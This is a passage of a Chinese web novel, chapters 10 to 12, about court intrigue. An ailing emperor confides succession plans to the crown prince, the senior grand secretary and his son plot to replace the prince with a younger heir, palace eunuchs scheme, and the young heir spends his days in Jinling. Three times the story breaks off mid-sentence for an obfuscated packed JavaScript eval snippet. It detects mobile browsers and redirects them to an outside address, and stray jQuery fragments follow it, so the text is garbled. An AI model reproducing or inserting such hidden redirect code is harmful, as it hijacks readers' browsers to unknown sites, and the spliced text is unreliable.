靖安帝猛然抬头,久久地凝视着傅谙,泪如泉涌,
“尔何不幸生于我家,何不幸,生于我家啊——!”
这是傅谙头一遭见靖安帝如此失态。
他还没想好安慰的说辞,靖安帝又滔滔不绝地继续道。
“朕原还想着,若是朕之后废了你,让你去当一个藩王逍遥自在,也不用在这东宫里担心受怕了。你与阿谊,可还怨朕?”
“儿臣不怨。此次让阿谊去金陵,便是想着让云先生再多教他一些帝王之术,早前也同先生说了此事。”
“朕听锦衣卫来报,那小子在云府倒是老实得很,偶尔还跟着云离相去报恩寺念念经,这点甚好要是他在京里的时候也能这么乖就好了,省得朕头疼。”
“朕本想着在最后的时日里给你们留几个能用的人,不料人算不如天算。你且先莫提废储一事,过段时日等朕再把阿谊赶紧召回,再以退为进,趁机道明此事。”
“如此,那群文臣们日后也不好再揪着你不放了,也省得他们撺掇阿谊对付你。”
“此事,你切记要在阿谊回来后,朕大限将至的时候再提出。他若没能及时回京,就由你来暂且监国,稳定局势。”
“届时朕会提前立好一份遗诏,秘而不发,这是为了阿谊好。就他那顽劣性子,指不定百官知道后另有一拨人坚决反对,又在殿门前长跪不起。”
“这段时日朕关着你不许出来,可看清楚那些人的真面貌了吧?瞧瞧,朕还未发话,他们倒是先替朕来教训朕的儿子了!宅心仁厚是好事,可莫要轻重不分,让妇人之仁误了大事!”
“来年殿试,你辅佐好阿谊,让他挑几个可用之人,好好清理一番朝堂。”
“是,儿臣领命,定谨记于心。”
傅谙再拜,正欲侍奉靖安帝歇息。
不料靖安帝猝然往地上一跌,双手紧紧捂着头,面色很是痛苦,似是风疾再犯。
见此情景,傅谙的瞳孔猛地收缩了起来,也顾不上自己是偷偷跑来的,歇斯底里大喊道:
“——来人,快来人!陛下的风疾又犯了!!!”
10. 第 10 章
定更至,暮鼓响。
黄保惴惴不安地趴在墙头,朝紫禁城的方向张望着。
太子走前曾向自己交待过,若是过了这个时辰,他人还未从宫内回到行宫的话,自己就披上与他相似样式的道袍,以太子之名义火速赶至宫内,无需在意夜禁。
毕竟圣上的禁令,除了千岁爷和赵师爷以外无人知晓。
他虽不知万岁爷为何会下这样的口谕,但想必自有其道理,所以先前他对太子殿下的行动很是担忧。
眼下就快到了点儿,屋内却是一点动静都没有。
黄保越等越是心急如焚,疑心着宫里是不是出了什么意外。
不料此时却有司礼监的大太监疾驰而来,告知他皇上风疾复发,现在昏迷不醒。
最坏的情况莫过于此。
黄保无暇顾及别的,只得按太子的嘱托,披了件道袍就跑。
好在他的身形与傅谙相差不大,甫一到宫门,就有早已打点好的太监们掩护着他进宫,一路上平安无事。
得到皇上昏迷的消息后,诸位大臣也陆陆续续地来了。
萧锵萧首辅与其子萧藩来得稍晚。
因萧府得到消息时,萧阁老已经歇息入睡,更换朝服又多费了些功夫。
当萧藩扶着萧首辅颤巍巍地下车时,眼角余光瞥到旁边太子的马车。
他眉毛一动,袖下暗中轻扯了父亲一把。
但萧锵不为所动,目不斜视,拄着拐杖,佝偻着直往前走。
没得到回应,萧藩面露不悦。
一回头,见还有几名大臣畏畏缩缩,腿脚发软的模样,顿时气不打一处来。
他用仅剩的那只独眼狠狠地剜了下这些人,示意他们赶紧跟在后头,随后扶着首辅父亲进了宫。
子时二刻,靖安帝还未苏醒过来。
群臣在乾清宫外跪满了整条石板路。
直至丑时一刻,司礼监秉笔太监兼东厂厂公赵除佞才率先出来,宣告圣上已醒,诸位大可不必忧心的消息。
且言圣上仁厚礼贤,听闻满朝文武皆跪列在殿外,十分动容,遂免了今日的早朝,让诸位好生歇息。
臣子们叩首谢恩,陆陆续续出了皇宫。
唯有萧藩的目光一直停留在赵除佞身后虚掩着的门缝内,也不知在瞧什么。
倒是萧锵轻咳了一声,礼部尚书季无忧当即会意,朝身边的几个同僚使了个眼色,之后扶着萧首辅,同这些人一道去萧府议事。
“诸位不必客气,都坐吧,深夜邀大伙前来议事,老夫这心中着实过意不去啊。”
萧锵缓缓落座,不多时,管事就将早已备好的茶水端上来。
“首辅客气了,今晚也委实辛苦您老。不知阁老今日召我们前来,可是要商议些什么事?”
座中一人率先殷勤地发了话,不料下一刻就被萧藩没好气地驳了回来:
“要是没事,爹还用得着大半夜的喊你们来?你不困,我还等着去睡觉!”
先前发话的那人讪讪闭口。
见情形不对,季无忧连忙出来打圆场。
“小阁老稍安勿躁,这事我们尽早议完尽早歇息,也好赶紧交给旁人去办。”
萧藩冷哼一声便不再开口,眉毛一挑,示意季无忧接着讲下去,紧接着恹恹地打了个哈欠。
季无忧望了眼萧首辅,得到对方一个肯定的点头后,清了清嗓子,神色严肃地说道:
“得到圣上昏迷的消息后,我便火速赶至宫门外。”
“诸位也是知道的,在下的府邸就在附近,过去根本要不了多久。可怪哉,明明还尚在京郊的太子却在我之前就早已到达。”
话一说完,底下立刻有人窃窃私语起来,诧异于近日一直耽于在温泉行宫享乐,不尊孝道的太子殿下竟然会如此早的出现。
萧藩点头附和道:“是了,我与父亲来得较晚,那时太子殿下的马车还停在宫门外,肯定是还在宫里的。”
“赵除佞那老太监出来宣旨后,我还特意留意了一番殿内的情况。慌乱之中,只有太医的声音而无太子的声音。我们出宫后,宫门外也没了太子的马车,想必就是这之间走的。”
“还是小阁老心细如发,我等愚笨之人都未曾留意到这些个细节!下官佩服,佩服!”
另一人借机赞叹,拍起了萧藩的马屁。
可惜小阁老非但不领情,还斜睥了那人一眼,出言嘲讽道,
“没想到何给事中两只眼,居然还比不上我一个独眼的好使啊。”
“好了好了,你也别跟吃了炮仗一样,一点就着,”
萧锵拍了拍儿子的肩膀,用眼神示意他消停会,“不就是早朝被程国泰呛了几句而已,至于恼火到现在?对了优游,之前你上的那几份劝导太子殿下遵守孝道的奏疏,皇上是怎么批复的?”
“哎,说来此事下官就蛮郁闷的,”
季无忧叹气回答道,“我们谨尊阁老教谕,只谈孝道和为齐涵虚伸冤未料那些御史们真是一个比一个胆子大,都敢直言废太子了!”
“以至司礼监的皆言,凡是有关弹劾太子之事的奏疏,全都被赵除佞给扣下了,说是圣上一点也不想看。”
而刚刚被萧藩训斥之人同时附和道:
“早朝上的情况,阁老您也不是没看到。只要我们一说到太子殿下哪里不好,那刑部尚书程大人的嘴可一点也不饶人啊。亏他还是金陵上元县人,竟是一点面子也不卖给我们这些从崇正书院出来的……”
“他毕竟是太子当今的教书先生,护着太子也是理所应当的,只是苦了你了。齐涵虚的事,何裘你处理得怎么样了?”
“回大人,一切安排妥当,他的一家子我们已送至早就安排好的地方。纵算太子殿下和陶王世子殿下的人再怎么找也是白费功夫。只不过太子殿下似乎还未死心,时不时地仍差人在京城附近转悠。。”
“陶王世子……哦对,陶王世子殿下此刻还在金陵玩乐呢。陶王妃终究还是将这孩子护得太好了,都到这等关头,还不召世子殿下召回来规训一番,以此笼络人心。看来师弟的一番苦心终是白费了……不过齐涵虚之死,云离相那可有什么别的反应?”
“回阁老,暂时没有,他甚至都未曾过问此事。”
“当真是一点消息也没有?”
萧锵微微眯了眯眼,眼中满是怀疑。
“确实如此,阁老,我们还去问了问齐涵虚的家人,他们也从未收到过来自先太傅的信件。”
“……那他还真是修行得越来越不近人情了。发妻病死无所谓,儿子扔在庙里不管不顾那么多年也无所谓,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505088|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得意门生被打死也亦无所谓。生老病死皆不在意,莫非他已勘破六道轮回之苦了?”
“他最好一直如此,可别跟那程国泰一样妨碍我们的大计。”
萧藩不时冷飕飕地插句嘴,话里话外满是嫌恶。
“小阁老的大计,可是指,废黜太子一事?”
问者小心翼翼地观察着萧藩的神色,生怕自己说错了话,又惹得小阁老不快。
此话一出,座下来者皆悚然,目光齐刷刷地望向首辅大人。
萧锵不语,只是任由着萧藩滔滔不绝地说了下去:
“皇上醒后我就一直在想,太子殿下先前究竟是为何要背着我们这些臣子偷偷离去?”
“自打太子腿疾加剧,性子不比从前,甚至连圣上重病也不愿去侍奉左右。可圣上就是一如既往地偏爱于他,甚至坚持要让一个瘸子来继承我大琝朝的江山!”
“如此说来,依小阁老和季尚书所言,太子殿下极有可能是在陛下昏迷前进的宫。而后陛下昏迷不醒,他又偷偷溜了出来。其用心,着实可疑……”
“是啊,他是什么用心呢?偷偷摸摸地面圣,在皇上昏迷后又偷偷摸摸离去。这期间,他是不是同圣上商讨了什么,引得圣上心神大乱,不然圣上又怎会如此恰到好处得又犯风疾——”
“萧藩,慎言!”
话音未落间,只听萧阁老猛地一掷茶盏,发出一阵突兀的声响。
众人不由屏气凝神,面面相觑,不知萧阁老为何对小阁老突然发难。
萧藩本人也是一头雾水,愣了片刻,犹豫地喊了声“爹?”
下人见状,很有眼色地上来赶紧收拾桌面,为萧首辅又重新上了一盏茶。
萧锵小口啜饮,随后才不紧不慢地说到,
“有些话该说,有些话就不该说。我们这些做臣子的,也不要去妄加揣测上面的意思。”
“太子殿下如今不良于行,日后若是继承大统,案牍劳形操心国事,难保不会加剧其病情,更何况当今圣上便是如此情形。”
“而陶王世子年岁尚幼,身体也强健。虽玩心重了点,人但也算聪明伶俐,是听得进劝导的。若是我们加以悉心辅佐,也未尝不可成就一代明君啊。”
一语毕,众人陷入了沉思。
萧首辅此言,实在是太过于意味深长。
适时的季无忧还补充了几句:
“阁老这是在为大家考虑啊!谁人不知,如今圣上宠信赵除佞,阉党势大,太子党跋扈,朝堂之上,又有何人容得下我们?更何况京察在即,那程国泰又是吏部尚书,到时候也不知鄙人还能不能留得这顶乌纱帽……”
“诸位还请想好,到时候前程,可尽在自己的把握之中。”
此话一出,满座皆惊,但无人应答。
萧锵落在上座,看着众人的神色,也不急,就在那慢慢饮茶,反倒是萧藩瞧上去颇为焦急。
半晌,终有一人站了出来。
此人正是刚才一直说话的何裘。
他率先朝萧首辅作了个揖,郑重其事道:
“国家革中书省,政事尽归六部,今之阁臣与古之宰相,其委任权力相去何啻天渊,而中外咎责丛集一身。鄙人知首辅之辛劳,任重而道远,愿听阁老与小阁老一言。何某,在所不辞。”【1】
11. 第 11 章
何裘从萧阁老府上出来的时候,天方蒙蒙亮。
赶车的车夫颇为困倦,连着打了好几个哈欠。
然何裘却是一脸亢奋的模样,丝毫看不出来一夜未睡的迹象。
他本为扬州府泰兴县的知县,费尽千般心思才得到吏科给事中一职,成了个从七品的言官。
现如今又攀上了萧首辅这棵大树,他又怎能不激动。
尤其是小阁老亲自向他许诺,此事事成,定会送他一桩大富贵。
先前小阁老的话因太过直白而被首辅大人制止。话虽未说完,不过何裘却是立即明白了他的意思。
太子在圣上发病前暗中探望,极有可能是圣上亲自召太子过去的。
不管如何,在诸位大臣们入宫前,二者之间定有一次密谈。
想必这密谈的内容十分重要,不然太子殿下也用不着背着臣子们偷偷离去,营造出一种从未来过的假象。
那么皇上与太子究竟说了些什么?
何裘不得而知。
不过小阁老的意思都已如此明显,就差直接说太子是奔过去讨遗诏的。他要是再听不明白,日后也不用在这官场上混了。
而朝中关于易储一事一直争论不休。
若是太子担忧圣上听信言官的话,欲将自己的储君之位废除而另立陶王世之为东宫。太子如此心急火燎地行事,倒也说得过去。
不过传闻中太子殿下待陶王世子殿下如亲兄弟一般,不过这皇位之争,就算是亲兄弟亦会反目吧?
还好他听从阁老的指点,从不像那些一根筋的御史们一样直言将太子给废了。
因齐涵虚在斋礁上的极谏,自己与季尚书又一直在为他求情,已经获得了不少同僚们的欣赏。
甚至有不少人隐有靠向首辅这边的趋势。
圣上重疑群臣,正鉴于即位初年,有阁臣被罢斥,回乡后曾于金陵崇正书院讲学。
其学生日后登上政坛,交结中官专断朝政。
且又有狂僧李执在民间著书,结社讲学倡导异端学说,终惹得皇上龙颜大怒,严惩结党之人,将带头者李执逮捕入狱。
萧锵萧首辅作为从崇正书院出来的一员,当时不可避免地收到了一些影响。
而他的师弟,先太傅云离倒是幸运得很,在朝期间不仅没被降职,甚至还官至太子太傅。
日后眼见情形不对,云离马上辞官回金陵修佛,功成身退,竟是丝毫也不留念。
不过之后的状况,云离怕是从未料到过。
因其在朝时风头太甚,就算他吸取前车之鉴,在圣上决定逮捕李执之前就早早的辞了官,其一举一动也不免遭到旁人猜忌。
毕竟李执未在诏狱内自尽前,他与云离相交好的关系,可谓是人尽皆知。
此这正中首辅大人下怀。
自萧大人被降职后,一直兢兢业业安分守己。
又因其极为擅长写青词,这才引得圣上垂青,授他以首辅一职。
然而这首辅之位还没坐稳几天,圣上又提拔了个赵除佞来制衡内阁,这让萧阁老如何心安?
是以首辅大人让自己的门生,礼部尚书季无忧来举荐齐涵虚写青词。
在皇上和诸位大臣的眼里,这是首辅师兄对师弟门生的好意提携。
然与此同时也会让圣上猜忌,先太傅辞官后是不是仍心有不甘,甚至想效仿前人一般让自己的学生步入中枢。
而他何裘,与一心为齐涵虚伸冤的大臣们一同上书,便会加深圣上与旁人的怀疑。
甚至会误认为此乃云离本人的指示,是他对朝中官员施了压,这才劳得首辅大人与礼部尚书大人一同为一个小小的翰林院侍读学士而操心。
毕竟旁人可不知道,云离跑回金陵究竟是不是真的在一心一意地修佛。
把先太傅给拉下水,可谓是一箭双雕。既能让皇上转移对内阁的注意,又能借势打压赵除佞的嚣张气焰。
当是时,皇上病危,潜心修道。言官既多,攻击纷起。帝心厌之,章悉留中。【1】
没了圣上对奏章的裁决,阁权势微,大部分奏疏由秉笔太监赵除佞代为朱批,留中不发更是常事。
在萧府时,萧阁老的话较为含蓄委婉。
但其说穿了,就是想扶持陶王世子傅谊上位,图其年幼贪玩好操控,以期日后能借此子之手除掉赵除佞,重揽朝政大权。
更何况萧首辅是为先太傅的同门师兄。若是世子一直不知齐涵虚与阁老的密谋,就凭着先太傅对他十几年的授业之恩,想必也不会过多为难。
虽然陶王世子的身后还有个礼部侍郎岳渊峙和定远大将军昆玉霜。
不过目就前来看,这夫妻俩颇为循规蹈矩。
且陶王妃和岳侍郎的母族岳家至今还在蜀中押镖,不涉足朝政,不足畏惧。
而太子殿下毕竟早已加冠,面上瞧着温和,实则极有主见。
陶王世子的人都已放弃搜寻齐涵虚的家室了,然太子殿下仍旧不死心,大有背着圣上将此事追究到底的气势……况且他已不良于行,着实不是一个好的选择。
何裘垂首沉思了半刻,待至回府,即刻吩咐下人回老家去取珍藏已久的丹药与丹方。
顺带差人先去林家茶楼里购置一批上好的茶叶,他要好好答谢一番萧首辅与小阁老的知遇之恩。
于此同时,紫禁城护城河秉笔直房。
忙活了一整晚的赵除佞乘着御赐的凳杌回了直房,人还未到屋外,便有早已候着的小宦官们殷勤地迎了上来。
不过,同他们站在一起的,还有满脸堆笑的司礼监掌印太监张乾。
“哟,张爷,怎地还站在外头,昨晚真是劳您亲自扶着送千岁爷出宫,如此辛苦,还不进来坐坐?”
赵除佞从凳杌上下来,率先开口问候一番。
“赵爷说的这是哪里的话,咱家这算得了啥啊,是您昨个在御驾前伺候了一整夜,还是您的苦劳最多啊!”
“不敢当不敢当,同是为圣上当差的,大家伙儿的苦劳都是一样多。”
赵除佞摆摆手,随后问道,
“昨晚太子出宫还算顺利吧?圣上昏厥后,我们最先通知的就是太子府,待到太子从行宫赶至宫内后才轮到诸位大臣,此事应当没暴露吧?”
“哎,这可说不准,谁也没想到季尚书会那么早就到了,可别瞧出端倪。”
张乾不由长叹短嘘了起来,随即又想起来了什么,面上浮现出一股愤愤之色,
“然而咱们千辛万苦地为千岁爷打掩护,太子殿下倒是丝毫不领情,多次想从咱家这抽身而去,还一直冷着张脸,都没陶王世子殿下待我们亲切。”
“是啊,”赵除佞一副若有所思的模样,“咱家被圣上派去宫外捉陶王那么多回,世子爷竟也从未对咱家发过脾气,当真是个好性子。”
“哎,如今那些御史参千岁爷的奏本可是越来越多了啊,赵爷,那咱还是留中不发吗?若是您有别的打算,知会一声就行,毕竟咱家这掌印太监的位子还是多亏了您才得来的,可不能忘本。”
“瞧您说的,最终还不得靠您张爷盖章才成事?”
赵除佞连连摆手,吹捧了一番张乾,而后努努嘴,小声道,
“您也不是没瞧见,千岁爷的腿铁定是医不好了,他又一直不肯从行宫中出来,想必正是这个原因。咱家再没读过书,也是知道一个瘸子是继承不了大统的。就算现在有多风光,日后也不过一介无实权的藩王,您也不用仔细伺候着了,放心便是。”
“还是赵爷心胸宽广,咱家佩服。既然事情已经交待完了,那您先好生歇息,咱家先回宫了。”
“成,回见了您诶。”
*
转眼已是六月。
云梵坐在竹椅上,无所事事地翻着账本,偶尔抬头望一望天色,琢磨着这个点陶王世子是不是该回来了。
坐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505089|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在一旁的云卷云舒同样也很纳闷。
正值盛暑,天气酷热,他们手中的扇子都快扇出火星了。
待实在熬不住,云舒方才忍不住感叹道:
“世子殿下怕不是在孝陵被热中暑了?这马上都快正午,咋还没个人影儿。小殿下那细皮嫩肉的,也不晓得受不受得住金陵的毒太阳啊。”
“中暑,应当不会吧?钟山山上那么多树,殿下谒陵时又没喊别的官员,只有先生、应天府尹和金陵守备太监应该也用不着多久?更何况先生还特意叮嘱我们提早半个时辰喊世子殿下起床。”
云卷狐疑道,左思右想,都想不明白云离与世子殿下还未回来的原因。
“父亲让我们提早半个时辰喊世子殿下起床,真是高瞻远瞩啊。”
云梵无奈摇头,想起早上那副闹得鸡犬不宁的场景,仍是心有余悸。
陶王世子殿下前几日心血来潮,信誓旦旦地跟父亲说他想去孝陵谒陵。
结果今日一早准备出发的时候,小殿下却在床上呼呼大睡,愣凭云卷云舒怎么闹也不醒。
云梵本来没把喊小世子起床的事放在心上。
昨个晚上,他让云卷去晚晴楼的掌柜那取了账册查账,于是比往日睡得稍晚了些。
未料人还睡得懵懵懂懂,隐隐约约,他听到了云卷云舒在他床边的哭腔,说是殿下再不起来,就要误了出发的时辰了。
没有办法,云大公子只能亲自出马,担下喊陶王世子起床的重任。
他匆忙穿好衣裳,洗漱完后,端庄地小步急趋至陶王世子的屋内
见陶王世子殿下一副睡得不省人事的模样,云梵喊了几声,无果;轻拍了几下世子的肩膀,亦无果。
甚至手还被傅谊给“啪”地一声打了回来。
末了小殿下翻了个身,滚到床里头继续呼呼大睡,仍是无动于衷。
云梵微笑着深呼吸了一口气。
没关系,他不会生气的,佛言不悲不喜不怒不嗔,他还另留了一招。
于是云梵清了清嗓子,背着手,一边在屋里悠闲踱步,一边不紧不慢地吟诵起来:
“乳酪自驵侩为之,气味已失,再无佳理。余自豢一牛,夜取乳置盆盎,比晓,乳花簇起尺寸,用铜铛煮之,瀹(煮)兰雪芝,乳斤和汁四殴,百沸之……”【2】
不知不觉,傅谊的眼睛悄悄地睁开了一条小缝。
“玉液珠胶,雪腴霜腻,吹气胜兰,沁入肺腑,自是天供……”
云梵似是走到了屋门处,声音有些小了。
傅谊听不清楚,便不动声色地朝床外边挪了挪。
“或用鹤觞花露入甑蒸之,以热妙;或用豆粉搀和,漉之成腐,以冷妙;或煎炸,或作皮,或缚饼,或酒凝……而苏州过小拙和以蔗浆霜,熬之、滤之、钻之、掇之、印之,为带骨鲍螺,天下称至味……”
“好了好了可以了!!!”傅谊掀被而起,全无方才赖床时的气派,“再念下去,泪水要不争气地从嘴角流下了!”
“现在小殿下的泪水要从何处落下,在下不知,不过前两日父亲才与我们嘱托过,谒陵后他要多抄几本佛经祭奠太祖。”
“若是在此期间世子殿下出了什么差错,倒是可以让您代为分忧一下,想必届时殿下这泪水,肯定就是从眼角流下的了。”
“我才不要——!”
傅谊顿时感到一阵恶寒,一骨碌子爬起来,以迅雷不及掩耳之势穿戴洗漱完毕。
走之前,他拦住了正欲出门的云梵,伸出一只手,眼巴巴地讨问道:
“所以你说的这个这个好东西,我在金陵也能吃到呢?”
云梵礼貌性地后退一步,做出一个“请”的手势,
“唯有苏州,金陵没得卖。其制法甚秘,锁于密房,以纸封固,虽父子不轻传也。小殿下不妨自己研制个,也好让我们大伙有个口福。”
“啊啊啊啊啊可恶!怎会如此!”
12. 第 12 章
比云梵预估的还晚了一个时辰,日暮之际,陶王世子傅谊终于病恹恹地回来了。
活像路边被太阳晒塌了的野菜,蔫了吧唧的。
云卷云舒见状,连忙准备去取地窖里存的冰饮,却被傅谊摆手制止。
“不必,我在街边铺子上喝绿豆汤都喝撑了,嗝——”
说完,还很应景地打了个响亮的嗝。
傅谊慢吞吞地挪到椅子上,一下子瘫成一团,丝毫不顾及形象,嘴里还絮叨着,
“这金陵大早上的怎么也这般热啊,要不是有外人在旁边,好想在钟山下的那个湖里游一圈……”
钟山,湖。
这二者让云梵面露诧异,奇道,
“小殿下说的可是后湖?您说想下湖游水,莫非没看到四周有城墙围着?”
“后湖?那应该就是了,我正是看它有墙围着,有人守着才想进去闯一闯,怎么了?”
傅谊纳闷,心中有几分不解。
“世子殿下,后湖可不兴闯啊!”
云卷云舒听到傅谊这话,大惊失色。
“那可是禁区!全天下记录人口赋役的黄册,和记录田亩分布的鱼鳞图册都放在后湖各洲上,其守备之森严,连只老鼠都进不去!”
“你们这么一说,我好像有几分印象……嘶,这还是太祖亲自定下的规矩。”
傅谊被震住了,没想到先前自己看上的那片湖来头竟那么大。
“可是太/祖也忒小气了,这么好的风光居然不让人来欣赏,简直是暴殄天物。”
傅谊忍不住小声嘀咕了几句,却被旁边坐着的云梵给听了去:
“小殿下这就有失偏颇了,若说暴殄天物,其实还得是王荆公的锅,是他上书宋神宗建议排空湖水改为农田,不然小殿下以为《书湖阴先生壁》是从何而来的?太/祖可是将后湖重新改造了一番,这才有了如今您所看到的模样。如若不是太/祖,那这些重要之物又该如何安置才不会被损害呢?”
“也是,前两日你才同我说过,江南是天下赋税重地,黄册库设于此也更为便利。我记得京中每逢冬季湖面都会结冰,若是如此,岂不是人人皆可进入,就算建了也没多大用吧?”
“善哉。小殿下能想到这一步,看来这些日子确实是有所长进。”
云梵满意地点了点头。
“嘿嘿,那你也要兑现承诺,之后带我好好玩玩才是!说来之前你也曾提到过,梁昭明太子萧统于梁洲之上编纂《文选》,想必那时后湖的美景定是一绝,真是令人心向往之,恨不得能泛舟游赏一番啊!”
“那在下可得提醒世子殿下一句,您神游之时也得万分小心,昭明太子就是在此落水而亡,您可别重蹈覆辙。”
“……?”
傅谊神色一变。
云梵轻瞥了小世子一眼,不失时机地补了个刀,
“后湖极大,殿下的思绪若还想去别处转转,或许可去莲萼上祭拜一下南唐后主。相传南唐灭国后,李煜便是被囚于此。”
“……”
傅谊这下是彻底老实了。
被云梵激励的目光注视着,他坐立难安,讪讪一笑以示回应,绝口不提后湖相关。
“且不提这个了,我有个好东西给你瞧瞧!”
似是一下子想起来什么事,傅谊倏地支棱起来。
他从怀里掏出一把被压得有些扁的野菜,兴高采烈地,如视珍宝般将其举到云梵眼下。
云梵微眯了眯眼。
待看清此物后,脸上的笑容却是略有些勉强:
“原来是苜蓿(mùxu),用来喂马倒是不错。”
“欸,可是先生和应天府尹都跟我说凉拌苜蓿头很是好吃,我便趁着他们没留意之时偷偷拔了点,还想着回来尝一尝呢。”
傅谊疑惑地抖了抖手中的野菜,没看见云梵已不着痕迹地往后缩了缩。
“那得是雨水后清明前摘最为好吃。过了这段时日,苜蓿的茎就越长越粗,所以到了夏季一般就把它留作牲口的饲料了。”
云舒贴心地为傅谊解释着,旁边的云卷也认真地补充了几句:
“没错,采摘时等到苜蓿长出四五片叶子时为佳,而挖出的苜蓿芽,最好是在地下的黄绿色嫩芽占整个菜的一半或三分之二才好吃。”
“原来如此,”傅谊恍然大悟,“既然现在吃不了,那我干脆就把它给种了吧!”
在傅谊同云卷云舒讨论着苜蓿该怎么做才好吃时,云梵一直没吭声。
过了一会儿,像是发觉了什么不对劲,云梵眉头一蹙,突然打断了他们的对话:
“敢问世子殿下,您这苜蓿是在路上摘的吗?可我记得我们住的这一带,并不怎么长苜蓿啊。”
“哦,这个嘛,是我在孝陵摘的。我见享殿旁长了许多,怪不尊敬太/祖的,嗯——就很好心地清理了些!”
云梵:“……”
云卷、云舒:“……?”
过了许久,云梵才幽幽地来了一句“那太/祖可真是要在地下谢谢您这孝顺的好孩子了”。
不过很可惜,傅谊没听出云梵的话外之音,在椅子上扒拉着苜蓿,乐呵了半天。
“说来我还有个问题,就是你早上说的那个好东西——是叫带骨鲍螺吧!如果凭林凡安林老板的能力,他能不能把这从苏州送到金陵?云卷云舒跟我说过,你跟林老板是熟识,那你能帮我去问问他吗?”
傅谊翻来覆去地把玩着手里的野菜,看似漫不经心地问道。
“哦,可是林老板主要还是靠卖茶为生,小殿下为何会让他来做此事?”
云梵话说着,眼角余光却是轻轻觑了一下云卷云舒二人。
云卷云舒浑身一僵,自知理亏,连忙找了个借口溜出去。
“呀,仅靠卖茶,他在京中的茶楼居然能在那么重的茶税下蒸蒸日上?这话怕是只有说给小孩子听才信。这种情况嘛,要么就是京中背后有人,要么就是他名下还有别的生意,只是我不知道罢了。”
傅谊夸张地摇摇头,摇得跟个拨浪鼓似的,
“再者说,应天府尹甘清不是前两日才带我去过林老板名下最大的酒楼去吃饭吗?我在京之时,可从未听人提起过这晚晴楼啊,你说奇不奇怪呢?”
“这有何奇怪的,”云梵的嘴角噙着抹似有若无的笑意,“林凡安林老板性子淡,一直低调行事,不轻易露面。殿下若是不仔细打听,确实是不容易知道。”
“那林老板为啥不肯露面,难道——这位其实是位大家闺秀吗!她不肯露面或许就是因为身份不许,所以才搞得这么神神秘秘的!”
傅谊又一惊一乍地贴了上来,嘴里的话越来越离谱了。
这几个月的相处下来,云梵已经习惯他这不走寻常路的脾性,也不会那么轻而易举地被傅谊唬到了。
只不过小殿下这话说的,倒还真被他猜中一点。
他确实是因为身份不便才不轻易露面,故而大部分事情都是让云卷云舒着手做的,他在幕后暗中操控着即可。
林凡安的身份日后对他大有所用,而商人自然是以谋利为先。
自齐涵虚死后,再算上太子来信,父亲就有意扶持陶王世子上位。
而他明面上要遂了父亲的心愿,私底下不乏也有小算盘。
不过听小殿下刚才的口气,应当是只觉得自己与林凡安打过交道,并未怀疑什么。
而云卷云舒估摸着是怕说出什么不该说的,就干脆直言他是见过林老板的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505090|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>如此便好,主动权就在他手上了。
于是云梵开了口,以一种不急不缓的语气,反问傅谊:
“那依小殿下之见,您怀疑林凡安不肯抛头露面的最主要原因就是觉得她可能是为女子?”
“诶,云降心你这话就不对了,说得我好像歧视女子一样,”傅谊不满地摇摇头,“也不瞧瞧我舅母是谁,那可是鼎鼎有名的定远将军!我自打小就很佩服舅母,而且我娘也很厉害,舅父说娘就是在帮人押镖时从山贼手中救出我爹,两人因此生情。”
“更何况我曾听闻李执先生在金陵开过女子学堂,鼓励女子们都走出闺阁去读书,去习武,这有何不可?”
“可惜之后这女子学堂却不知道被谁一把火给烧没了,自此女子们又被束之于闺阁,真是好生无趣!我被娘关一天禁闭都快疯了,她们是怎么受得住的?”
“受不住的,大抵都已不在这世上了吧。”
云梵垂下眼眸,语气平淡,显然是不愿继续这个话题,便不着痕迹地略过去,
“而李先生的女子学堂被烧一事,殿下不妨想想是什么原因?”
“这个嘛,我记得李先生没被圣上下旨抓进诏狱前,他人缘还挺好的,天下有很多人都爱听他讲学呢。”
“或许正是因此,他触到了什么人的利益,再或者是因世俗偏见一类的——不对不对,我原先不是跟你说林凡安的事情吗,怎么扯到这上面来了!云降心,你分明就是在转移话题!”
傅谊倏地意识到自己被耍了,顿时怒不可揭,像只炸毛的小猫一样一直在云梵面前张牙舞爪的。
见傅谊闹了起来,云梵也知道自己该适可而止了,一边给傅谊顺毛安抚,一边若有所思道,
“是啊,若是风头太盛难免遭人惦念,倒不如一直做那幕后之人,神不知鬼不觉地解决一切,这估计就是林老板的处世之道……”
“既然世子殿下都发话了,更何况您最近的功课也有所长进,那我便去问问林老板这带骨鲍螺吧!”
“好,有劳了!”
傅谊开心得一蹦三尺高,全无先前回来时那副快要蔫了的颓丧样。
“哎,小殿下,您还是得注重一下自己的仪表,这衣襟都皱了,不怕日后在朝廷上被御史参上一本?”
云梵无奈叹气。
